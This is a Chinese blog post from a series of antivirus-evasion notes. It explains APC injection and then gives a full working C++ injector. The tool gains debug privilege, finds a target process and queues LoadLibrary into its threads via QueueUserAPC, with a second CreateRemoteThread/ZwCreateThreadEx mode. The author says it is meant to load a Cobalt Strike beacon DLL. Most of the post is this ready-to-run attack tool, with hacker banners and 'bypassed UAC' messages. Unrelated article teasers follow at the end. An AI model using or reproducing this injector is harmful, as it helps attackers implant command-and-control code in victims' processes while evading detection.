免杀笔记 ---> APC注入

除了我们前面讲的DLL注入,还有一个APC注入的东西也是很重要的!!

 ::确实很重要,相应的,在跟新完今天的代码之后,我也会对应的进行Github上工具的更新!! 

1.APC

APC(Asynchronous Procedure Call)异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制。

这么说其实感觉有点懵,我们来这么解释一下,对于一个线程来说,在不通过API调用,或者出现EFlag寄存器中IF位为0,又或者代码出现异常的情况下,线程是不会被他人结束的,但是线程本身也不知道什么时候该去结束自己,这时候就要我们外部提供代码,让其 "自杀"!  所以此时,我们的APC机制就派上用场了:定时检测是否有另外执行的代码,然后去执行,这个函数就是APC!! 

2.APC注入

我们的每一个进程中,可能会有多个线程,每一个线程都会维护一个线程的APC队列,当我们通过QucueUserAPC把一个APC函数添加到指定线程的APC队列中时,Windows系统就会发出一个软中断去执行这些APC函数。 当然了,如果一个EXE执行到想SleeEx()的时候,也会发生一个软中断,这时候也能APC注入,不过我们怎么知道别人什么时候执行SleepEx这个函数呢 ?? 

   ::所以就要我们手动产生一个软中断,然后进行注入DLL!! 

不过注入也还是有前提的 !!

  • 必须是多线程的环境
  • 注入的程序必须调用那些同步的对象

然后就是我们来看一下这个过程了

  • OpenProcess拿到handle
  • VirtualAlloc申请空间
  • WiriteProccessMemory写入DLL路径
  • 通过对应的进程ID打开线程
  • 通过QueueUserAPC执行我们的"LoadLibrary"

所以我们就能总结出APC注入的原理了

通过对目标进程的每一个线程进行APC函数的插入,对每一个线程都让他LoadLibrary来执行我们上线CS的DLL

3.代码实现

然后接下来就是我们的代码实现了,其实大差不差,我们首先得来了解这么几个函数

CreateToolhelp32Snapshot()

CreateToolhelp32Snapshot 是 Windows API 中的一个函数,用于创建一个快照(snapshot),以便获取系统状态的静态视图。它允许程序员在不影响当前系统状态的情况下获取系统信息,例如进程、线程、模块等的快照信息。

其中它传入的参数我们一般都是这样

  • TH32CS_SNAPTHREAD  创建线程快照,获取系统中当前所有线程的信息
  • 第二个参数一般都是0,表示获取系统范围内的快照信息
Thread32First()

Thread32First(hSnap, &te) 是 Windows API 中用于获取线程快照中第一个线程信息的函数。

其中它接受两个参数

  • HANDLE hSnapshot 快照句柄,就是你拍的快照的句柄
  • THREADENTRY32 *lpte  指向第一个线程信息的结构体指针
OpenThread()

OpenThread 是一个 Windows API 函数,用于打开一个已存在的线程句柄,允许对该线程进行操作。

注意:这个函数是用来获取线程的句柄的!!

通过上面的铺垫,我们就能写出我们的代码了!! 

#include<iostream>
#include<tchar.h>
#include <cstring>
#include<Windows.h>
#include<Tlhelp32.h>
#include <cctype> 
using namespace std;
#pragma comment(linker, "/section:.data,RWE")BOOL EnableDebugPrivilege()
{HANDLE hToken;BOOL fOk = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fOk;
}DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot == INVALID_HANDLE_VALUE){printf("	[-] 获取进程快照失败,请重试! Error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret;
}void APCInject(DWORD pid, LPCWSTR dllpath)
{//1.获取句柄HANDLE TargetHandle = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);if (TargetHandle == NULL){cout << "	[-] Get TargetProcessHandle Failed :(" << endl;if (EnableDebugPrivilege() == TRUE){cout << "	[-] Is This EXE Opened? :(" << endl;}else {cout << "	[-] Please Run This Under Administrator Role :(" << endl;}return;}else {cout << "	[+] Get OriginalProcessHandle Successfully :)" << endl;}//2.远程申请内存DWORD length = (wcslen(dllpath) + 2) * sizeof(TCHAR);PVOID RemoteMemory = VirtualAllocEx(TargetHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READ);if (RemoteMemory == NULL){cout << "	[-] VirtualAlloc Address Failed :(" << endl;return;}else {cout << "	[+] VirtualAlloc Address Successfully :)" << endl;}//3.将上线的DLL的路径写入内存BOOL WriteStatus = WriteProcessMemory(TargetHandle, RemoteMemory, dllpath, length, NULL);if (WriteStatus == 0){cout << "	[-] Write CS's DLL Into Memory Failed :(" << endl;return;}else{cout << "	[+] Write CS's DLL Into Memory Successfully :)" << endl;}//4.获取LoadLibrary的函数地址FARPROC LoadLibraryAddress = GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryW");if (LoadLibraryAddress == NULL){cout << "	[-] Get LoadLibrary's Address Failed :(" << endl;return;}else{cout << "	[+] Get LoadLibrary's Address Successfully :)" << endl;}//5.创建线程快照并且插入APC函数HANDLE SnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);if (SnapShot == INVALID_HANDLE_VALUE){cout << "	[-] Taking Thread Snap Shot Failed :(" << endl;return;}else{cout << "	[+] Taking Thread Snap Shot Successfully :)" << endl;}//定义线程信息结构体,并且初始化THREADENTRY32 te = { 0 };te.dwSize = sizeof(te);//然后就是遍历快照中的线程,进行插入int flag = 0;                  //判断APC是否插入成功HANDLE ThreadHandle = NULL;    //用于获取目标线程句柄if (Thread32First(SnapShot, &te)){//不想do while循环,所以我就直接先进行一次//判断目标线程的进程ID是否是我们要注入的进程的IDif (te.th32OwnerProcessID == pid){ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);  //获取目标线程的句柄if (ThreadHandle){DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryAddress, ThreadHandle, (ULONG_PTR)RemoteMemory);  //插入APC函数if (dwRet == TRUE){flag++;}}ThreadHandle = NULL;  //清除句柄}while (Thread32Next(SnapShot, &te))  //遍历完毕就会停止{if (te.th32OwnerProcessID == pid){ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);if (ThreadHandle){DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryAddress, ThreadHandle, (ULONG_PTR)RemoteMemory);if (dwRet == TRUE){flag++;}}ThreadHandle = NULL;  //清除句柄}}CloseHandle(TargetHandle);CloseHandle(SnapShot);CloseHandle(ThreadHandle);if (flag == 0){cout << "	[-] APC Inject Failed :(" << endl;return;}else{cout << "	[+] APC Inject Successfully :)" << endl;}}
}void DLLInject(DWORD pid, LPCWSTR dllpath)
{//1.获取句柄HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (OriginalProcessHandle == NULL){cout << "	[-] Get TargetProcessHandle Failed :(" << endl;if (EnableDebugPrivilege() == TRUE){cout << "	[-] Is This EXE Opened? :(" << endl;}else {cout << "	[-] Please Run This Under Administrator Role :(" << endl;}return;}else {cout << "	[+] Get OriginalProcessHandle Successfully :)" << endl;}//2.远程申请内存DWORD  length = (wcslen(dllpath) + 1) * sizeof(TCHAR);PVOID  RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READ);if (RemoteMemory == NULL){cout << "	[-] VirtualAlloc Address Failed :(" << endl;return;}else {cout << "	[+] VirtualAlloc Address Successfully :)" << endl;}//3.将CS上线的DLL写入内存BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle, RemoteMemory, dllpath, length, NULL);if (WriteStatus == 0){cout << "	[-] Write CS's DLL Into Memory Failed :(" << endl;return;}else{cout << "	[+] Write CS's DLL Into Memory Successfully :)" << endl;}//4.获取LoadLibrary地址FARPROC LoadLibraryHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//5.声明ZwCreateThreadEx函数
#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);
#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);
#endif//6.获取NTDLL中ZwCreateThreadEx函数typedef_ZwCreateThreadEx  ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwCreateThreadEx");if (ZwCreateThreadEx == NULL){cout << "	[-] Get ZwCreateThreadEx Address Failed :(" << endl;return;}else {cout << "	[+] Get ZwCreateThreadEx Address Successfully :)" << endl;}//5.创建线程 ring3调用CreateRemoteThreadHANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryHandle, RemoteMemory, 0, NULL);if (RemoteHandle == NULL){cout << "	[-] Ring3 Thread Inject Failed :(" << endl;return;}else {cout << "	[+] Ring3 Thread Inject Successfully :)" << endl;}//7.创建线程  ring0调用ZwCreateThreadExHANDLE hRemoteThread;DWORD Status = 0;Status = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, OriginalProcessHandle, (LPTHREAD_START_ROUTINE)LoadLibraryHandle, RemoteMemory, 0, 0, 0, 0, NULL);if (Status == NULL){cout << "	[+] Ring0 Thread Inject Successfully :)" << endl;}else{cout << "	[-] Ring0 Thread Inject Failed :(" << endl;return;}WaitForSingleObject(RemoteHandle, -1);//8.释放DLL空间VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);//9.关闭句柄CloseHandle(OriginalProcessHandle);CloseHandle(ZwCreateThreadEx);cout << "	[+] DLL inj&ct successfu11y !! Enj0y Hacking Time :) !" << endl;
}int _tmain(int argc, TCHAR* argv[])
{if (argc == 3) {cout << "	    Which kind of Injection do you want?" << endl;cout << "	    [1]: DLLInject" << endl << "	    [2]: APCInject" << endl;int type = 0;cin >> type;if (type == 1){std::cout << "▓█████▄  ██▓     ██▓     ██▓ ███▄    █  ▄▄▄██▓▓▓▓█████  ▄████▄  ▄▄▄█████▓\n";std::cout << "▓██▓ ██▌▓██▓    ▓██▓    ▓██▓ ██ ▓█   █    ▓██   ▓█   ▓ ▓██▓ ▓█  ▓  ██▓ ▓▓\n";std::cout << "▓██   █▌▓██▓    ▓██▓    ▓██▓▓██  ▓█ ██▓   ▓██   ▓███   ▓▓█    ▄ ▓ ▓██▓ ▓▓\n";std::cout << "▓▓█▄   ▌▓██▓    ▓██▓    ▓██▓▓██▓  ▓▌██▓▓██▄██▓  ▓▓█  ▄ ▓▓▓▄ ▄██▓▓ ▓██▓ ▓ \n";std::cout << "▓▓████▓ ▓██████▓▓██████▓▓██▓▓██▓   ▓██▓ ▓███▓   ▓▓████▓▓ ▓███▓ ▓  ▓██▓ ▓ \n";std::cout << " ▓▓  ▓ ▓ ▓▓▓  ▓▓ ▓▓▓  ▓▓▓  ▓ ▓▓   ▓ ▓  ▓▓▓▓▓   ▓▓ ▓▓ ▓▓ ▓▓ ▓  ▓  ▓ ▓▓   \n";std::cout << " ▓▓  ▓ ▓ ▓ ▓  ▓▓ ▓ ▓  ▓ ▓ ▓▓ ▓▓   ▓ ▓▓ ▓ ▓▓▓    ▓ ▓  ▓  ▓  ▓       ▓    \n";std::cout << " ▓ ▓  ▓   ▓ ▓     ▓ ▓    ▓ ▓   ▓   ▓ ▓  ▓ ▓ ▓      ▓   ▓          ▓      \n";std::cout << "   ▓        ▓  ▓    ▓  ▓ ▓           ▓  ▓   ▓      ▓  ▓▓ ▓                \n";std::cout << " ▓                                                     ▓                    \n";cout << "	    Under the sun,there is no secure system!!" << endl << "	        Scripted By Whoami@127.0.0.1  :》" << endl << "	          Color Picked By Icy Water :)" << endl;if (EnableDebugPrivilege() == TRUE){cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[+] Privilege Elevated Successfully, Now You Have Bypassed UAC :) " << endl;}else {cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[-] Privilege Elevated Failed, You Haven't Bypassed UAC :( " << endl;}DWORD PID = GetProcessPID(argv[1]);DLLInject(PID, argv[2]);}else if (type == 2){DWORD PID = GetProcessPID(argv[1]);std::cout << " ▄▄▄       ██▓███   ▄████▄      ██▓ ███▄    █  ▄▄▄██▓▓▓▓█████  ▄████▄  ▄▄▄█████▓\n""▓████▄    ▓██▓  ██▓▓██▓ ▓█     ▓██▓ ██ ▓█   █    ▓██   ▓█   ▓ ▓██▓ ▓█  ▓  ██▓ ▓▓\n""▓██  ▓█▄  ▓██▓ ██▓▓▓▓█    ▄    ▓██▓▓██  ▓█ ██▓   ▓██   ▓███   ▓▓█    ▄ ▓ ▓██▓ ▓▓\n""▓██▄▄▄▄██ ▓██▄█▓▓ ▓▓▓▓▄ ▄██▓   ▓██▓▓██▓  ▓▌██▓▓██▄██▓  ▓▓█  ▄ ▓▓▓▄ ▄██▓▓ ▓██▓ ▓ \n"" ▓█   ▓██▓▓██▓ ▓  ▓▓ ▓███▓ ▓   ▓██▓▓██▓   ▓██▓ ▓███▓   ▓▓████▓▓ ▓███▓ ▓  ▓██▓ ▓ \n"" ▓▓   ▓▓█▓▓▓▓▓ ▓  ▓▓ ▓▓ ▓  ▓   ▓▓  ▓ ▓▓   ▓ ▓  ▓▓▓▓▓   ▓▓ ▓▓ ▓▓ ▓▓ ▓  ▓  ▓ ▓▓   \n""  ▓   ▓▓ ▓▓▓ ▓       ▓  ▓       ▓ ▓▓ ▓▓   ▓ ▓▓ ▓ ▓▓▓    ▓ ▓  ▓  ▓  ▓       ▓     \n""  ▓   ▓   ▓▓       ▓            ▓ ▓   ▓   ▓ ▓  ▓ ▓ ▓      ▓   ▓          ▓      \n""      ▓  ▓         ▓ ▓          ▓           ▓  ▓   ▓      ▓  ▓▓ ▓                \n""                   ▓                                          ▓                   \n";cout << endl << "	    Under the sun,there is no secure system!!" << endl << "	        Scripted By Whoami@127.0.0.1  :》" << endl << "	          Color Picked By Icy Water :)" << endl;if (EnableDebugPrivilege() == TRUE){cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[+] Privilege Elevated Successfully, Now You Have Bypassed UAC :) " << endl;}else {cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[-] Privilege Elevated Failed, You Haven't Bypassed UAC :( " << endl;}APCInject(PID, argv[2]);}else {cout << "	    Please choose the number below :(" << endl;return 0;}}else{cout << "	[-] Two Parameters are required" << endl;}return 0;
}

  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3225921.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

深入解析RocketMQ的名字服务机制:功能、原理与应用

NameServer 是专为 RocketMQ 设计的轻量级名字服务&#xff0c;它的源码非常精简&#xff0c;八个类 &#xff0c;少于 1000 行代码。 这篇文章&#xff0c; 笔者会从基础概念、Broker 发送心跳包、NameServer 维护路由、Zookeeper vs NameServer 四个模块揭秘名字服务的设计精…

容联七陌智能客服助力企业出海无忧,拓展全球

随着全球化的加速&#xff0c;企业寻求海外市场的第二增长曲线。然而&#xff0c;文化差异、语言障碍和市场竞争等挑战随之而来。在全球化商业活动的不断推进中&#xff0c;企业面临着跨文化沟通、多语言服务和数据安全等挑战。容联七陌&#xff0c;作为中国SaaS智能客服领域的…

django农产品销售系统-计算机毕业设计源码65418

基于HTML5的农产品销售系统的设计与实现 摘 要 本文针对农产品销售系统存在的传统销售方式效率低下、信息交流困难等问题&#xff0c;基于HTML5进行了系统的设计与实现。首先&#xff0c;通过对当前农产品销售系统的现状和问题进行分析&#xff0c;提出了基于HTML5的系统设计方…

RAID的主要应用场景

将服务器的系统安装在RAID上&#xff0c;将服务器的系统直接去安装在磁盘上是不允许的。 创建RAID&#xff0c;依赖的具体是服务器上的RAID卡提供的操作界面。 磁盘阵列柜去创建RAID&#xff0c;磁盘阵列柜中都有RAID卡&#xff0c; 具体不同服务器去安装RAID的操作流程可以在网…

2024年的设计理念革新:快速获取设计趋势的资源集合!

随着2024年第三季度开始&#xff0c;今年的设计趋势也逐渐出现。与2023 年设计相比&#xff0c;趋势变化空间不大&#xff0c;大部分是在 2023 年度设计趋势的延伸和发展。即使趋势不会一直改变&#xff0c;了解趋势对设计师来说仍然非常重要。接下来&#xff0c;本文将与你分享…

哈喽GPT-4o,程序员如何通过GPT-4o提高办公效率

目录 一、编写工作汇报Prompt&#xff1a;我是一名Java开发工程师&#xff0c;请写一份工作总结&#xff0c;工作内容是一个SpringBootVue实现的图书管理系统&#xff0c;按下面的结构来撰写&#xff1a;1. 工作背景&#xff1b;2. 工作内容&#xff1b;3. 工作建议&#xff1b…

香菜面爆卖 2800 万+,仅为康师傅1/7的方便面四巨头之末,白象如何通过极致产品力突围?

康师傅、统一在国内方便面市场上占据大半江山版图&#xff0c;白象只能在夹缝中生存。据方便食品大会数据显示&#xff0c;白象市场份额约为7%。曾经一段时间内&#xff0c;我们在超市货架上都很难看到白象的身影&#xff0c;可想而知白象在激烈的市场竞争中被“打压”的多么惨…

7.深度学习概述

深度学习概述 1. 线性回归1.1 线性回归一般表达式1.2 线性回归内积表达方式&#xff1a;1.3 多个样本时&#xff0c;线性回归的进一步表达&#xff1a;1.4 线性回归方程的解析1.5 线性回归就是求loss函数的最小值 2. 如何求函数最小值2.1 一个例子2.2 求导法——求最小值2.3 求…

从零开始开发视频美颜SDK:实现直播美颜效果

因此&#xff0c;开发一款从零开始的视频美颜SDK&#xff0c;不仅可以节省成本&#xff0c;还能根据具体需求进行个性化调整。本文将介绍从零开始开发视频美颜SDK的关键步骤和实现思路。 一、需求分析与技术选型 在开发一款视频美颜SDK之前&#xff0c;首先需要进行详细的需求…

悠律凝声环Ringbuds Pro耳机:素皮纹理质感独一档,音质也拉满

悠律&#xff08;UMELODY&#xff09;推出的这款新品——凝声环开放式耳机&#xff0c;以其独特的设计风格和出色的音质表现赢得了众多消费者的喜爱。 在外观上&#xff0c;凝声环采用了时尚潮酷的设计理念&#xff0c;并且采用简约典雅素皮工艺&#xff0c;首次将“素皮”材料…

OpenShift3.11 社区版搭建

一、资源规划 HostnameIPOSCPUMemDiskmaster192.168.78.131CentOS7.92vCPU4G60Gnode1192.168.78.132CentOS7.92vCPU4G60Gnode2192.168.78.133CentOS7.92vCPU4G60G 二、安装过程&#xff1a; 2.1 前期配置 开启所有节点的 SELinux &#xff08;所有主机执行&#xff09; gr…

钡铼技术有限公司S270用于智慧物流中心货物追踪与调度

钡铼技术有限公司的第四代S270是一款专为智慧物流中心设计的工业级4G远程遥测终端RTU&#xff0c;其强大的功能和灵活性使其成为货物追踪与调度的理想选择。 技术规格和功能特点 钡铼S270支持多种通信协议&#xff0c;包括短信和MQTT&#xff0c;这使得它能够与各种云平台如华…

儿童房灯具什么牌子好?几款儿童房灯具款式墙裂分享

随着科技的不断发展和生活方式的改变&#xff0c;儿童青少年近视率的增长趋势引起了人们的关注。近视不仅对孩子们的视力健康构成威胁&#xff0c;还可能对他们的学习和日常生活带来不便。因此&#xff0c;如何有效地预防和改善儿童青少年的视力问题成为了一个亟待解决的课题。…

【JavaEE】Spring AOP详解

一.AOP的定义. Aspect Oriented Programming&#xff08;面向切面编程&#xff09;概括的来说AOP是一种思想, 是对某一类事情的集中处理 什么是面向切面编程呢? 切面就是指某一类特定问题, 所以AOP也可以理解为面向特定方法编程.什么是面向特定方法编程呢? 比如上个博客文章…

餐饮管理系统-计算机毕业设计源码43667

餐饮管理系统 摘 要 在信息化、数字化的时代背景下&#xff0c;餐饮行业面临着前所未有的挑战与机遇。为了提高运营效率、优化顾客体验&#xff0c;餐饮企业亟需一套高效、稳定且灵活的管理系统来支撑其日常运营。基于Spring Boot的餐饮管理系统应运而生&#xff0c;成为餐饮行…

【Linux】:程序替换

朋友们、伙计们&#xff0c;我们又见面了&#xff0c;本期来给大家解读一下有关Linux程序替换的相关知识点&#xff0c;如果看完之后对你有一定的启发&#xff0c;那么请留下你的三连&#xff0c;祝大家心想事成&#xff01; C 语 言 专 栏&#xff1a;C语言&#xff1a;从入门…

蓝牙人员定位精准吗?是否会对人体有伤害?

不知道大家现在使用的蓝牙人员定位系统都是什么样的呢&#xff1f;其实就出行而言&#xff0c;使用GPS定位也就是足够了的&#xff0c;而且目前的定位相对也比较精准了&#xff0c;效果还是很不错的。但是如果说是室内定位&#xff0c;很显然常规的定位系统是无法满足使用需求的…

【背就有效】软考中级信息系统监理师核心知识点汇总!

宝子们&#xff01;上半年软考已经告一段落了&#xff0c;准备下半年考信息系统监理师的小伙伴可以开始准备了。这里给大家整理了信息系统监理师核心知识点汇总&#xff0c;涵盖全书90%的重点&#xff0c;先把这个存下&#xff01;再慢慢看书&#xff0c;边看书边背这个&#x…

【机器学习】主成分分析(PCA):数据降维的艺术

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 主成分分析&#xff08;PCA&#xff09;&#xff1a;数据降维的艺术引言PCA的基…

Plaxis Python API的连接与配置、外部Python编译器的使用、Python命令流自动建模过程,典型岩土工程案例

目录 第一部分 Plaxis软件简介及 Plaxis Python API环境搭建 第二部分 Plaxis自动化建模-基础案例 第三部分 进阶案例—Python全自动实现 第四部分 高级案例—Python全自动实现 有限单元法在岩土工程问题中应用非常广泛&#xff0c;很多软件都采用有限单元解法。在使用各大…